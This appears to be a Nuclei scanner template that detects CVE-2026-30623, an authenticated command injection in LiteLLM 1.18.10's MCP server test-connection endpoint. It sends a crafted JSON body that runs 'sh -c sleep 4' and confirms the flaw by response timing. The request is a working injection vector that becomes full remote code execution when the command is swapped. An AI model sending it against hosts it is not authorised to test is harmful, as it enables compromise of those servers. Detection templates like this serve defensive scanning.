id: CVE-2026-30623

info:
  name: LiteLLM 1.18.10 - Command Injection
  author: leeseungsu
  severity: high
  description: |
    LiteLLM 1.18.10 contains a remote code execution caused by lack of validation of arbitrary command and args in MCP server creation, letting attackers execute OS commands remotely, exploit requires crafted JSON configuration.
  impact: |
    Attackers can execute arbitrary OS commands remotely with LiteLLM process privileges, potentially compromising the host system.
  remediation: |
    Update to the latest version of LiteLLM with validation for MCP server commands.
  reference:
    - https://docs.litellm.ai/blog/mcp-stdio-command-injection-april-2026
    - https://cveawg.mitre.org/api/cve/CVE-2026-30623
    - https://github.com/BerriAI/litellm
  classification:
    cve-id: CVE-2026-30623
    epss-score: 0.04997
    epss-percentile: 0.92202
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,litellm,rce,authenticated,mcp

variables:
  marker: "{{randstr}}"

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {
          "server_id": "nuclei-{{marker}}",
          "server_name": "nuclei-{{marker}}",
          "transport": "stdio",
          "command": "sh",
          "args": ["-c", "sleep 4"]
        }

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "Failed to connect to MCP server"

      - type: word
        part: body
        negative: true
        words:
          - "not in the allowed commands list"
          - "Allowed commands"

      - type: dsl
        dsl:
          - "duration >= 4"
# digest: 4a0a00473045022100a8814374d8ec0bfaa39fbaac39aa6712409de50592533b57ed077fd55b1d29440220078361644fe94e3eaf6d57a8142fc321fc946d1513f9a43da903780cd6960c4d:922c64590222798bb761d5b6d8e72950